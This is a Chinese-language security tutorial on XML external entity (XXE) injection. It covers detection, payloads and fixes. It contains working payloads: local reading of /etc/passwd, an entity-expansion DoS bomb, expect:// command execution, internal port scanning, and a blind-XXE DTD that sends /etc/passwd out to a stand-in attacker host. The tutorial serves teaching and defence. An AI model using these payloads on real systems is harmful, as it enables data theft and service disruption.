XXE漏洞:XML外部实体注入漏洞
XXE漏洞的定义
XXE漏洞(XML External Entity)是一种安全漏洞,它存在于应用程序对XML输入处理不当的情况下。XML外部实体(External Entity)允许在XML文档中引用外部资源,如文件系统、URL等。当应用程序未正确验证或过滤用户提供的XML输入时,攻击者可以通过构造恶意的XML文件,利用外部实体引用敏感文件、执行远程请求等操作,从而导致信息泄露、服务器端请求伪造(SSRF)、拒绝服务(DoS)等安全问题。
XXE漏洞的危害
-
信息泄露: 攻击者可以利用XXE漏洞访问服务器上的敏感文件,如配置文件、数据库凭据等,从而获取敏感信息。
-
服务器端请求伪造(SSRF): 攻击者可以利用XXE漏洞发起对内部网络的请求,可能导致服务器端请求伪造漏洞,从而进一步探测或攻击内部系统。
-
拒绝服务(DoS): 攻击者可以通过恶意构造的XML文件引发大量资源消耗,导致服务器性能下降或完全不可用,造成拒绝服务。
-
远程代码执行(RCE): 在某些情况下,XXE漏洞可能被利用以执行远程代码,导致服务器受到攻击者控制。
-
横向移动: 通过利用XXE漏洞,攻击者可能获取对服务器上其他应用程序或系统的访问权限,从而实现横向移动并扩大攻击范围。
XML的定义
可扩展标记语言(Extensible Markup Language,简称:XML)是一种用于标记电子文件结构和数据的语言。它是一种通用的标记语言,旨在传输和存储数据,尤其适用于Internet环境。XML的设计目标是使数据具有自描述性和可扩展性。
XML由一系列标签组成,每个标签用于标识数据的不同部分或属性。这些标签可以按照层次结构进行嵌套,从而创建复杂的数据结构。与HTML不同,XML没有预定义的标签集合,因此用户可以根据需要定义自己的标签。XML还允许用户定义数据类型、实体和命名空间,以增强数据的表现力和灵活性。
XML的主要应用包括数据交换、配置文件、Web服务通信、数据存储等领域。它被广泛用于各种场景中,如Web开发、企业应用集成、文档标记等。 XML的易读性和灵活性使其成为一种流行的数据格式,受到广泛应用和支持。
XML的特点
- XML 是一种很像 HTML 的标记语言,其设计宗旨是传输数据,而不是显示数据。
- XML 标签没有被预定义,需要自行定义标签。
- XML 被设计为具有自我描述性。
- XML 是 W3C 的推荐标准。
判断是否存在XXE漏洞
-
检测XML是否会被解析
1 2 3 4 5 6 7 8 9 10
| #测试1 <?xml version="1.0"?> <!DOCTYPE ANY [<!ENTITY shit "this is shit">]> <name>&shit;</name> #测试2 <?xml version = "1.0"?> <!DOCTYPE note [ <!ENTITY hacker "ESHLkangi"> ]> <name>&hacker;</name>
|
-
Dnslog方法-检测服务器是否支持外部实体(高匿)
1 2 3 4 5
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY % shit SYSTEM "http://8108b8fa5c.ipv6.1433.eu.org."> %shit; ]>
|
-
如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用。这样的话,只能使用Blind XXE(DNSlog)攻击。
XXE的Payload
-
文件包含
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root>
|
-
XXE炸弹:DOS攻击
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
|
-
XXE-命令执行(需要一些配置开启才能执行,很小概率能用)
1 2 3 4 5
| <?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY xxe SYSTEM "expect://id"> ]> <x>&xxe;</x>
|
-
端口扫描
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://127.0.0.1:8080“>]> <root> <name>&xxe;</name> </root>
|
-
通过DTO读取文件(Blind XXE)
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "http://attack.com/1.dto“>]> <root> <name>&xxe;</name> </root>
|
-
DTO的内容
1 2 3
| <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>"> %all;
|
在attack的服务器WEB日志当中可以查看内容
XML漏洞修复方法
- 使用开发语言提供的禁用外部实体的方法
1 2 3 4 5 6 7 8 9 10
| PHP: libxml_disable_entity_loader(true);
JAVA: DocumentBuilderFactory dbf =DocumentBuilderFactory.newlnstance(); dbf.setExpandEntityReferences(false);
Python: from lxml import etree xmlData=etree.parse(xmlSource,etree.XMLParser(resolve_entities=false))
|
-
过滤用户提交的XML数据。过滤关键字:<!DOCTYPE和</!ENTITY,或者SYSTEM和PUBLIC
-
不允许XML中含有自己定义的DTD。